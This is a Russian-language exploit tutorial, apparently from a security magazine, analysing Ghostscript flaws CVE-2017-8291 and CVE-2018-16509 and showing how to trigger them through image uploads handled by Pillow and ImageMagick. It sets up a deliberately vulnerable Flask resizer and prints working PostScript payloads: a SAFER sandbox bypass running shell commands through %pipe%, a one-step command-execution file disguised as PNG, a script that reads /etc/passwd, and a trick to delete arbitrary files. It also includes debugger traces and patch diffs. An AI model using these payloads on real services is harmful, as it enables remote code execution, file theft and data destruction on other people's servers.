Злая картинка. Разбираем уязвимость в GhostScript, чтобы эксплуатировать Pillow и ImageMagick
Эксплойт
Специалисты из Google Project Zero нашли несколько опасных уязвимостей в Ghostscript — популярной реализации PostScript. Правильно сформированный файл может позволить исполнять произвольный код в целевой системе. Уязвимости подвержена и библиотека Pillow, которую часто используют в проектах на Python, в том числе — на вебе. Как это эксплуатировать? Давай разбираться.
Python Imaging Library (PIL) и ее современный форк Pillow предназначены для работы с изображениями из Python. В общих чертах они напоминают модуль gd в PHP. Эти библиотеки используются во многих популярных фреймворках и модулях. Их вызовы можно встретить в самых разных примерах кода. В общем, Pillow нередко встречается в продакшене, если один из компонентов стека — это язык Python.
Для операций с файлами PIL и Pillow используют внешние утилиты, такие как Ghostscript. Ghostscript — это кросс-платформенный интерпретатор языка PostScript (PS). Он может обрабатывать файлы PostScript и конвертировать их в другие графические форматы, выводить содержимое и печатать на принтерах, не имеющих встроенной поддержки PostScript.
А PostScript, в свою очередь, — это не просто язык разметки, а полноценный язык программирования. В нем реализованы свои алгоритмы работы с текстом и изображениями.
Официальная документация Adobe на PostScript в данный момент насчитывает около 900 страниц текста и примеров. Так что развернуться тут есть где. Неудивительно, что настолько развесистая штуковина иногда позволяет проделывать вещи, которые не были предусмотрены разработчиками интерпретаторов.
На этот раз в интерпретаторе Ghostscript и была обнаружена пачка уязвимостей, которые снова нашел Тавис Орманди (Tavis Ormandy) из Google Project Zero. Он сообщил о своей находке осенью этого года. Найденные уязвимости — это, по сути, продолжение прошлогодней ошибки в Ghostscript, что получила название GhostButt.
Давай выясним, какие слабые места были обнаружены и каким образом их можно проэксплуатировать.
CVE-2017-8291 — GhostButt Ghostscript.
CVE-2018-16509 — новая уязвимость
Стенд
Демонстрировать уязвимость я, как обычно, буду с помощью Docker и контейнера на основе Debian.
$ docker run --rm -p80:80 -ti --name=pilrce --hostname=pilrce debian /bin/bash
Если хочешь немного подебажить, то запускай контейнер с соответствующими ключами.
$ docker run --rm -p80:80 -ti --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name=pilrce --hostname=pilrce debian /bin/bash
Обновляем репозитории и устанавливаем Python, менеджер пакетов pip и вспомогательные утилиты.
$ apt update && apt install -y nano wget strace python python-pip gdb git
Теперь установим последнюю уязвимую версию Pillow.
$ pip install "Pillow==5.3.0"
Для удобства тестирования нам также понадобится Flask. Это популярный фреймворк для создания веб-приложений.
$ pip install flask
Теперь с его помощью напишем небольшой скриптик, который будет принимать пользовательские картинки и менять их размер. Довольно обычное поведение для современных веб-сервисов.
app.py
01: from flask import Flask, flash, get_flashed_messages, make_response, redirect, render_template_string, request
02: from os import path, unlink
03: from PIL import Image
04:
05: import tempfile
06:
07: app = Flask(__name__)
08:
09: @app.route('/', methods=['GET', 'POST'])
10: def upload_file():
11: if request.method == 'POST':
12: file = request.files.get('image', None)
13:
14: if not file:
15: flash('No image found')
16: return redirect(request.url)
17:
18: filename = file.filename
19: ext = path.splitext(filename)[1]
20:
21: if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
22: flash('Invalid extension')
23: return redirect(request.url)
24:
25: tmp = tempfile.mktemp("test")
26: img_path = "{}.{}".format(tmp, ext)
27:
28: file.save(img_path)
29:
30: img = Image.open(img_path)
31: w, h = img.size
32: ratio = 256.0 / max(w, h)
33:
34: resized_img = img.resize((int(w * ratio), int(h * ratio)))
35: resized_img.save(img_path)
36:
37: r = make_response()
38: r.data = open(img_path, "rb").read()
39: r.headers['Content-Disposition'] = 'attachment; filename=resized_{}'.format(filename)
40:
41: unlink(img_path)
42:
43: return r
44:
45: return render_template_string('''
46: <!doctype html>
47: <title>Image Resizer</title>
48: <h1>Upload an Image to Resize</h1>
49: {% with messages = get_flashed_messages() %}
50: {% if messages %}
51: <ul class=flashes>
52: {% for message in messages %}
53: <li>{{ message }}</li>
54: {% endfor %}
55: </ul>
56: {% endif %}
57: {% endwith %}
58: <form method=post enctype=multipart/form-data>
59: <p><input type=file name=image>
60: <input type=submit value=Upload>
61: </form>
62: ''')
63:
64: if __name__ == '__main__':
65: app.run(threaded=True, port=80, host="0.0.0.0")
Осталось запустить этот скрипт и посмотреть на результат его работы в браузере.
$ python app.py

Если не хочешь возиться со всеми предустановками вручную, то можешь воспользоваться готовым решением из репозитория Vulhub.
Также нам нужен собственно сам Ghostscript версии ниже 9.24. Я буду использовать две версии: 9.21 — для демонстрации уязвимости GhostButt и 9.23 — для тестирования текущего бага. Взять их можно на официальном сайте в разделе загрузок.
$ wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23-linux-x86_64.tgz $ wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs921/ghostscript-9.21-linux-x86_64.tgz $ tar xvzf ghostscript-9.23-linux-x86_64.tgz && tar xvzf ghostscript-9.21-linux-x86_64.tgz
После распаковки в соответствующих папках ты найдешь бинарники gs-921-linux-x86_64и gs-923-linux-x86_64. Я буду перемещать их в /usr/bin/gs по мере необходимости.
Еще я поставил вспомогательную утилиту для отладчика GDB — pwndbg.
$ git clone https://github.com/pwndbg/pwndbg $ cd pwndbg $ ./setup.sh
И скачал исходники Ghostscript, чтобы скомпилировать дебаг-версии утилиты.
$ cd ~ $ wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs921/ghostscript-9.21.tar.gz $ wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23.tar.gz $ tar xvf ghostscript-9.21.tar.gz $ tar xvf ghostscript-9.23.tar.gz $ cd ~/ghostscript-9.21 && ./configure && make debug $ cd ~/ghostscript-9.23 && ./configure && make debug
Готовые дебаг-бинарники будут лежать в папке debugbin. Вот теперь стенд готов.

Оригинальный GhostButt (CVE-2017-8291) и причины уязвимости PIL
Прежде чем переходить к рассмотрению недавних уязвимостей, вернемся на год назад и посмотрим на их прародителя. Проблемные версии — 9.21 и ниже, поэтому берем 9.21.
$ cp ~/ghostscript-9.21-linux-x86_64/gs-921-linux-x86_64 /usr/bin/gs

Первым делом стоит обратить внимание на то, что PIL автоматически определяет тип передаваемого файла. По аналогии с ImageMagick библиотека смотрит на заголовок картинки и передает управление нужному участку кода.
/src/PIL/Image.py
2618: prefix = fp.read(16)
...
2642: im = _open_core(fp, filename, prefix)
...
2644: if im is None:
2645: if init():
2646: im = _open_core(fp, filename, prefix)
...
2623: def _open_core(fp, filename, prefix):
2624: for i in ID:
2625: try:
2626: factory, accept = OPEN[i]
2627: result = not accept or accept(prefix)
2628: if type(result) in [str, bytes]:
2629: accept_warnings.append(result)
2630: elif result:
2631: fp.seek(0)
2632: im = factory(fp, filename)
2633: _decompression_bomb_check(im.size)
2634: return im
2635: except (SyntaxError, IndexError, TypeError, struct.error):
2636: # Leave disabled by default, spams the logs with image
2637: # opening failures that are entirely expected.
2638: # logger.debug("", exc_info=True)
2639: continue
2640: return None
При обработке файла отрабатывает функция _open_core. Она вызывает метод _accept из каждого класса, который отвечает за формат файла. В качестве аргументов передаются первые 16 байт обрабатываемого файла.
/src/PIL/BmpImagePlugin.py
49: def _accept(prefix): 50: return prefix[:2] == b"BM"
/src/PIL/GifImagePlugin.py
38: def _accept(prefix): 39: return prefix[:6] in [b"GIF87a", b"GIF89a"]
/src/PIL/EpsImagePlugin.py
190: def _accept(prefix): 191: return prefix[:4] == b"%!PS" or \ 192: (len(prefix) >= 4 and i32(prefix) == 0xC6D3D0C5)
Это открывает неплохой плацдарм для обхода черных и белых списков.
Нам интересен загрузчик EpsImagePlugin, который работает с файлами PostScript. Как мы выяснили выше, для его вызова необходимо, чтобы файл имел хидер %!PS.
Теперь сфокусируемся на том, как Python общается с Ghostscript.
/src/PIL/EpsImagePlugin.py
328: def load(self, scale=1): 329: # Load EPS via Ghostscript 330: if not self.tile: 331: return 332: self.im = Ghostscript(self.tile, self.size, self.fp, scale)
Функция load создает экземпляр класса Ghostscript для общения с бинарником gs.
/src/PIL/EpsImagePlugin.py
070: def Ghostscript(tile, size, fp, scale=1):
071: """Render an image using Ghostscript"""
...
118: # Build Ghostscript command
119: command = ["gs",
120: "-q", # Quiet mode
121: "-g%dx%d" % size, # Set output geometry (pixels)
122: "-r%fx%f" % res, # Set input DPI (dots per inch)
123: "-dBATCH", # Exit after processing
124: "-dNOPAUSE", # Don’t pause between pages
125: "-dSAFER", # Safe mode
126: "-sDEVICE=ppmraw", # Ppm driver
127: "-sOutputFile=%s" % outfile, # Output file
128: "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
129: # Adjust for image origin
130: "-f", infile, # Input file
131: "-c", "showpage", # Showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
132: ]
...
139: # Push data through Ghostscript
140: try:
141: with open(os.devnull, 'w+b') as devnull:
142: startupinfo = None
143: if sys.platform.startswith('win'):
144: startupinfo = subprocess.STARTUPINFO()
145: startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
146: subprocess.check_call(command, stdin=devnull, stdout=devnull,
147: startupinfo=startupinfo)
148: im = Image.open(outfile)
149: im.load()
Посмотрим, как выглядит запрос на практике. Сделаем пустую картинку.
test.png
%!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: -0 -0 100 100
Используем расширение .png, чтобы увидеть, что файл обрабатывается в соответствии с содержимым. И набросаем тестовый скрипт, который возвращает размер документа в пикселях.
test.py
01: from PIL import Image 02: import sys 03: 04: def get_img_size(filepath=""): 05: ''' Get the image length and width ''' 06: if filepath: 07: img = Image.open(filepath) 08: img.load() 09: return img.size 10: return (0, 0) 11: 12: print(get_img_size(sys.argv[1]))
Запустим наш скрипт, используя утилиту strace.
$ strace -f -e trace=execve python test.py test.png

Видим, что был вызван бинарник gs с некоторым набором определенных в скрипте параметров. Полностью команда имеет вид
$ /usr/bin/gs -q -g100x100 -r72.000000x72.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/tmp/tmpkwUxze -c 0 0 translate -f test.png -c showpage
Аргумент -dSAFER включает своего рода песочницу, которая ограничивает возможность удаления, переименования и выполнения произвольного кода в контексте работы gs. Если бы не этот флаг, то для выполнения RCE достаточно было бы файла PostScript следующего вида:
test1.png
%!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: -0 -0 100 100 currentdevice null false mark /OutputFile (%pipe%echo RCE_IS_HERE > /dev/tty) .putdeviceparams 1 true .outputpage 0 0 .quit

Но этот флаг используется уже испокон веков, так что нужно как-то пробиваться через него.
Именно в этом и заключается уязвимость GhostButt: отключение песочницы и выполнение произвольного кода. Скачаем документ-эксплоит и проверим его работоспособность.
CVE-2017-8291.png
001: %!PS-Adobe-3.0 EPSF-3.0
002: %%BoundingBox: -0 -0 100 100
003:
004:
005: /size_from 10000 def
006: /size_step 500 def
007: /size_to 65000 def
008: /enlarge 1000 def
009:
010: %/bigarr 65000 array def
...
094: currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
095: .putdeviceparams
096: 1 true .outputpage
097: .rsdparams
098: %{ } loop
099: 0 0 .quit
100: %asdf
Снова воспользуемся помощью утилиты strace.
$ strace -f -e trace=execve python test.py CVE-2017-8291.png

Эксплоит успешно отработал.
В Ghostscript все манипуляции совершаются в контексте устройств вывода, так называемых девайсов (devices). У каждого такого девайса есть набор параметров и настроек, одна из которых — флаг LockSafetyParams. Если он установлен в true, то включается режим песочницы.
Как ты понял, манипулировать флагом можно с помощью аргумента командной строки SAFER. По дефолту он выключен, но в нашем случае Python вызывает бинарник gs с включенной опцией безопасного выполнения. Поэтому основная задача эксплоита — выставить этот флаг в false перед тем, как передать управление полезной нагрузке. Для этих целей используется цепочка уязвимостей и трюков.
Как ты помнишь, PostScript — это полноценный язык программирования, который концептуально напоминает язык форт).
PostScript — конкатенативный язык. В таком языке широко используется неявное указание аргументов функций, новые функции определяются как композиция функций, а вместо аппликации применяется конкатенация. Язык PostScript использует стек для хранения операнда и передачи аргументов функциям, а переменные osbot, osp и ostop указывают на низ, указатель и вершину стека соответственно.
/ghostscript-9.21/psi/ostack.h
25: // Define the operand stack pointers for operators. 26: #define iop_stack (i_ctx_p->op_stack) 27: #define o_stack (iop_stack.stack) 28: 29: #define osbot (o_stack.bot) 30: #define osp (o_stack.p) 31: #define ostop (o_stack.top)
Этот стек так и называется стеком операндов (operand stack). Помимо него, есть еще два вида стеков — стек словарей (dictionary stack) и стек исполнения (execution stack), но в рамках данной статьи нам они неинтересны.
В реализации Ghostscript стек хранится в памяти в виде кучи (heap), и программистам нужно уделять большое внимание логике тех функций, которые могут им манипулировать.
Вернемся к эксплоиту и пробежимся по нему в отладчике, рассмотрим основные моменты, чтобы понять, что же там происходит и почему такая последовательность команд ведет к выполнению произвольного кода. Будем использовать бинарник с отладочной информацией.
$ cp ~/ghostscript-9.21/debugbin/gs /usr/bin/gs $ gdb --args gs -q -dBATCH -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f CVE-2017-8291.png

Мы знаем, что эксплоит создает файл в директории /tmp. Делает он это при помощи следующей команды:
$ /OutputFile (%pipe%touch /tmp/aaaaa)
Поискав в сорцах конструкцию %pipe%, натыкаемся на файл, который ее обрабатывает. Вызывается функция pipe_fopen, где отрабатывает popen. Этот вызов и выполняет переданную команду.
/ghostscript-9.21/base/gdevpipe.c
17: /* %pipe% IODevice */
...
27: /* The pipe IODevice */
28: static iodev_proc_fopen(pipe_fopen);
29: static iodev_proc_fclose(pipe_fclose);
30: const gx_io_device gs_iodev_pipe = {
31: "%pipe%", "Special",
32: {iodev_no_init, iodev_no_open_device,
33: NULL /*iodev_os_open_file */ , pipe_fopen, pipe_fclose,
34: iodev_no_delete_file, iodev_no_rename_file, iodev_no_file_status,
35: iodev_no_enumerate_files, NULL, NULL,
36: iodev_no_get_params, iodev_no_put_params
37: }
38: };
39:
...
43: pipe_fopen(gx_io_device * iodev, const char *fname, const char *access,
44: FILE ** pfile, char *rfname, uint rnamelen)
45: {
...
60: *pfile = popen((char *)fname, (char *)access);
Давай поставим брейк-пойнт на popen и выполним нашу команду.

Выполним команду bt, чтобы увидеть, как мы до такого докатились.

Видим, что уязвимость срабатывает после функции zoutputpage. Оператор .outputpage в PostScript отправляет страницу на указанное устройство.
Что же такого особенного в структуре этой страницы? Обрати внимание на команду .eqproc. Она принимает на вход два операнда из стека, сравнивает их, а результат в виде булева значения записывает в стек.
/ghostscript-9.21/psi/zmisc3.c
053: zeqproc(i_ctx_t *i_ctx_p)
054: {
055: os_ptr op = osp;
056: ref2_t stack[MAX_DEPTH + 1];
057: ref2_t *top = stack;
058:
059: make_array(&stack[0].proc1, 0, 1, op - 1);
060: make_array(&stack[0].proc2, 0, 1, op);
Так как типы операндов не проверяются, то можно сравнить любые операнды. Используя .eqproc в цикле, можно вызвать переполнение указателя стека в стеке операндов, и каждый последующий вызов функции будет записывать в стек примитив.
/ghostscript-9.21/psi/zmisc3.c
112: make_false(op - 1); 113: pop(1); 114: return 0; 115: }

Сравни, вот та же самая функция в Ghostscript версии 9.23.
/ghostscript-9.23/psi/zmisc3.c
62: zeqproc(i_ctx_t *i_ctx_p)
63: {
64: os_ptr op = osp;
65: ref2_t stack[MAX_DEPTH + 1];
66: ref2_t *top = stack;
67:
68: check_op(2);
69: if (!eqproc_check_type(op -1) || !eqproc_check_type(op)) {
70: make_false(op - 1);
71: pop(1);
72: return 0;
73: }
74:
75: make_array(&stack[0].proc1, 0, 1, op - 1);
76: make_array(&stack[0].proc2, 0, 1, op);
77: for (;;) {
Добавился блок с проверкой сравниваемых операндов.
Как это можно использовать? Для манипуляции указателем стека применяется еще один оператор — aload, так что указатель стека обновляется до адреса следующей кучи строкового буфера. Переполняя и записывая примитивы, злоумышленник может вывести относительный адрес следующего указателя стека (osp) и затем выполнить строковую функцию, которая переопределит часть свойств объекта стека.
<array> aload <obj_0> ... <obj_n-1> <array>
Когда размер массива превышает текущее свободное пространство стека, zaload выделит память при помощи вызова ref_stack_push, перераспределит стек и перезапишет указатель стека osp.
/ghostscript-9.21/psi/zarray.c
49: /* <array> aload <obj_0> ... <obj_n-1> <array> */
50: static int
51: zaload(i_ctx_t *i_ctx_p)
52: {
...
62: if (asize > ostop - op) { /* Use the slow, general algorithm. */
63: int code = ref_stack_push(&o_stack, asize);
64: uint i;
65: const ref_packed *packed = aref.value.packed;
66:
67: if (code < 0)
68: return code;
69: for (i = asize; i > 0; i--, packed = packed_next(packed))
70: packed_get(imemory, packed, ref_stack_index(&o_stack, i));
71: *osp = aref;
72: return 0;
73: }
Для удобства дальнейшей отладки расставим функцию вывода строк (print) так, чтобы она срабатывала во время выполнения всех важных частей эксплоита, а ловить их будем при помощи бряков на zprint.
CVE-2017-8291.png
44: /buffersearchvars [0 0 0 0 0] def
45: /sdevice [0] def
46:
47: buffers
48: (hey) print
49: pop % discard buffers on operator stack
50:
51: enlarge array aload
52: (after aload) print
53: {
54: .eqproc
После того как бряк сработает в первый раз, дно стека (ospbot) будет находиться по адресу 0x555556fe4128, а указатель на стек (osp) — 0x555556fe4138. По адресу 0x5555572762eb расположилась строка hey, которую мы собираемся выводить. А последний элемент — адрес строкового буфера. Он лежит по адресу 0x555557901580, и его размер — 65 000 байт. Конец буфера обозначается последовательностью байтов 0xff.

Продолжим выполнение программы. Теперь, после выполнения aload, дно стека находится по адресу 0x5555574a1988, а указатель на стек — 0x555556fe4138. То есть теперь он указывает на ранее выделенную память строкового буфера.

Когда только указатель стека переназначен, мы можем использовать .eqproc для переполнения. При помощи buffersearchvars сохраняются переменные поиска, и эксплоит в цикле проверяет, был ли изменен байт 0xff в конце строки во всех буферах. Это нужно для того, чтобы определить, что указатель стека (osp) достиг нужного нам диапазона и перекрывается со строковым буфером.
Добавим еще немого print для упрощения отладки.
CVE-2017-8291.png
58: buffercount {
59: buffers buffersearchvars 1 get get
60: buffersizes buffersearchvars 1 get get
61: 16 sub get
62: 254 le { % Перезаписан ли байт 0xff?
63: buffersearchvars 2 1 put
64: buffersearchvars 3 buffers buffersearchvars 1 get get put
65: buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
66: } if
67: buffersearchvars 1 buffersearchvars 1 get 1 add put
68: } repeat
69:
70: buffersearchvars 2 get 1 ge {
71: exit
72: } if
73: %(.) print
74: } loop
...
79: sdevice 0 % Сохраняем указатель на объект девайса
80: currentdevice
81: (before convert to string type) print
82: buffersearchvars 3 get buffersearchvars 4 get 16#7e put
83: buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put % Записываем конструкцию 0x127e, тем самым меняем тип объекта на string
84: buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
85: (convert completed) print
...
89: buffersearchvars 0 get array aload
90: (LockSafetyParams->1) print
91: sdevice 0 get
92: 16#3e8 0 put
93: (LockSafetyParams->0) print
Используем строковый буфер (string buffer), чтобы переписать тип объекта device следующего стека и сделать его строковым (string). Для этого запишем конструкцию 0x127e вместо 0x1378.

Полученный объект нужно сохранить в массиве sdevice и, наконец, перезаписать свойство LockSafetyParams для того, чтобы отключить песочницу и обойти режим SAFER. Флаг находится по смещению 0x3e8 относительно объекта.

В данный момент он установлен в true. Но после выполнения 16#3e8 0 put флаг сбрасывается, и эксплоит успешно завершает работу выполнением указанного пейлоада.

С GhostButt разобрались, можно переходить к недавним уязвимостям.
Новые проблемы в Ghostscript и уязвимость CVE-2018-16509
Теперь будем использовать бинарник Ghostscript версии 9.23.
$ cp ~/ghostscript-9.23-linux-x86_64/gs-923-linux-x86_64 /usr/bin/gs
Если еще не устал от дебага, то бери утилиту с отладочной информацией.
$ cp ~/ghostscript-9.23/debugbin/gs /usr/bin/gs
Тавис Орманди нашел еще целую пачку уязвимостей. Давай рассмотрим их в порядке увеличения критичности.
В описании функции setcolor сказано, что проверка операнда не требуется, так как он скрыт за псевдооператором с тем же именем и может быть использован только в определенных ситуациях.
/ghostscript-9.23/psi/zcolor.c
263: /* This operator is hidden by a pseudo-operator of the same name, so it will
264: * only be invoked under controlled situations. Hence, it does no operand
265: * checking.
266: */
267: static int
268: zsetcolor(i_ctx_t * i_ctx_p)
269: {
Однако ты можешь вызвать его косвенно через setpattern, поэтому проверка необходима. Команда << /whatever 16#414141414141 >> setpattern вызывает ошибку сегментации.

Следующая ошибка типа «несоответствие типов» (type confusion) была обнаружена в параметре LockDistillerParams. Он должен иметь логический тип, но это нигде не проверяется.
/ghostscript-9.23/devices/vector/gdevpsdf.h
105: bool LockDistillerParams;
Поэтому конструкция << /LockDistillerParams 16#4141414141414141 >> .setdistillerparams также вызовет ошибку сегментации.

Проблема под номером три закралась в функцию ztempfile. В качестве аргументов ей нужно передать имя файла и флаги режима его открытия (запись, чтение и так далее).
/ghostscript-9.23/psi/zfile.c
695: /* <prefix|null> <access_string> .tempfile <name_string> <file> */
696: static int
697: ztempfile(i_ctx_t *i_ctx_p)
698: {
699: os_ptr op = osp;
700: const char *pstr;
701: char fmode[4];
702: int code = parse_file_access_string(op, fmode);
703: char *prefix = NULL;
...
712: prefix = (char *)gs_alloc_bytes(imemory, gp_file_name_sizeof, "ztempfile(prefix)");
713: fname = (char *)gs_alloc_bytes(imemory, gp_file_name_sizeof, "ztempfile(fname)");
714: if (!prefix || !fname) {
715: code = gs_note_error(gs_error_VMerror);
716: goto done;
717: }
Только вот если передать полный путь, то вместо того, чтобы отбросить его и положить временный файл в директорию tmp, где ему самое место, Ghostscript создаст его в указанной директории.
Для проверки воспользуемся утилитой strace.
$ strace -fefile gs -sDEVICE=ppmraw -dSAFER
(/proc/self/cwd/gigity) (w) .tempfile

Как видишь, есть небольшая проблема — префикс (prefix). Он мешает эксплуатировать эту уязвимость по полной программе. Если будет интересно, можешь попробовать обойти это поведение.
После этого можно писать в файл любые данные с помощью writestring. Не забудь закрыть файл, когда закончишь.
dup (hello) writestring closefile
Тут нас поджидает еще одна проблемка. После завершения работы Ghostscript временный файл будет удален.

Решается она просто: нужно не дать утилите нормально завершить работу. Как вариант, подойдет любой из багов, которые крашат GS.

Чтобы удалить произвольный файл, можно воспользоваться конструкцией
{ .bindnow } stopped {} if
(/etc/passwd) [] .tempfile
После завершения работы GS указанный файл будет удален.

Еще Орманди придумал, каким образом можно читать любые файлы, доступные пользователю. Он написал функцию, которая интерпретирует содержимое файла PostScript и ловит ошибки синтаксиса. Будь аккуратнее: так как тут используется функция tempfile, после завершения скрипт Ghostscript попытается удалить прочитанный файл.
fileread.ps
01: /FileToSteal (/etc/passwd) def
02: errordict /undefinedfilename {
03: FileToSteal % save the undefined name
04: } put
05: errordict /undefined {
06: (STOLEN: ) print
07: counttomark {
08: ==only
09: } repeat
10: (\n) print
11: FileToSteal
12: } put
13: errordict /invalidfileaccess {
14: pop
15: } put
16: errordict /typecheck {
17: pop
18: } put
19: FileToSteal [] .tempfile
20: statusdict
21: begin
22: 1 1 .setpagesize
23: end
24: quit

С Ghostscript версии 9.24 такие трюки уже не сработают, потому что разработчики добавили проверку пути при выполнении tempfile. Сравни две версии файла zfile.c.
/ghostscript-9.23/psi/zfile.c
736: if (gp_file_name_is_absolute(pstr, strlen(pstr))) {
737: if (check_file_permissions(i_ctx_p, pstr, strlen(pstr),
738: NULL, "PermitFileWriting") < 0) {
739: code = gs_note_error(gs_error_invalidfileaccess);
740: goto done;
...
782: make_string(op - 1, a_readonly | icurrent_space, fnlen, sbody);
783: make_stream_file(op, s, fmode);
784:
785: done:
/ghostscript-9.24/psi/zfile.c
764: if (gp_file_name_is_absolute(pstr, strlen(pstr))) {
765: int plen = strlen(pstr);
766: const char *sep = gp_file_name_separator();
767: #ifdef DEBUG
768: int seplen = strlen(sep);
769: if (seplen != 1)
770: return_error(gs_error_Fatal);
771: #endif
772: /* strip off the file name prefix, leave just the directory name
773: * so we can check if we are allowed to write to it
774: */
775: for ( ; plen >=0; plen--) {
776: if (pstr[plen] == sep[0])
777: break;
778: }
779: memcpy(fname, pstr, plen);
780: fname[plen] = '\0';
781: if (check_file_permissions(i_ctx_p, fname, strlen(fname),
782: NULL, "PermitFileWriting") < 0) {
783: code = gs_note_error(gs_error_invalidfileaccess);
784: goto done;
...
826: make_string(op - 1, a_readonly | icurrent_space, fnlen, sbody);
827: make_stream_file(op, s, fmode);
828: code = record_file_is_tempfile(i_ctx_p, (unsigned char *)fname, fnlen, true);
А на сладкое у нас — выполнение произвольных команд. Только на этот раз все гораздо проще и не нужно никаких манипуляций со стеком и прочей бинарщины. Оказывается, проверки типа invalidaccess перестают работать после некорректного использования команды restore. Нам нужно лишь обработать ошибку и спокойно выполнять команды уже известным способом, с помощью OutputFile.
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
showpage

А что там у нас с веб-сервером на Python? Ты, наверное, уже и позабыл про него. Тут все просто — отправляем наш вектор в файле, используя любое из разрешенных расширений, например png, и не забываем про хидер %!PS.
CVE-2018-16509.png
01: %!PS-Adobe-3.0 EPSF-3.0
02: %%BoundingBox: -0 -0 100 100
03:
04: userdict /setpagedevice undef
05: save
06: legal
07: { null restore } stopped { pop } if
08: { legal } stopped { pop } if
09: restore
10: mark /OutputFile (%pipe%uname -a > /tmp/owned) currentdevice putdeviceprops

Шалость удалась, и команда была выполнена на целевой машине.
Но не только Pillow использует Ghostscript в качестве сторонней утилиты, таким же методом пользуется небезызвестный ImageMagick.
/ImageMagick6/6.9.7-4/www/source/delegates.xml
<delegate decode="ps:alpha" stealth="True" command=""gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "-f%s" "-f%s""/>
Строка вызова бинарника gs немного отличается от таковой в Pillow, но это не мешает этому же эксплоиту отрабатывать на ура.

Выводы
Сегодня мы немного окунулись в дебри языка PostScript и посмотрели на причины уязвимости в одном из его интерпретаторов — Ghostscript. Разобрались, какими опасными могут быть простые картинки, даже несмотря на белые списки форматов.
Если ты пишешь или администрируешь веб-приложение, принимающее картинки, и хочешь обезопасить себя, то советую максимально ограничить обработку файлов PS, EPS, PDF и XPS. Если это все же необходимо, то работай с ними в максимально ограниченной среде. Также никогда не доверяй содержимому любых загруженных пользователем файлов и не начинай их обработку, пока не убедишься в их легитимности.
Ну и конечно, следи за новостями в области безопасности и вовремя обновляйся!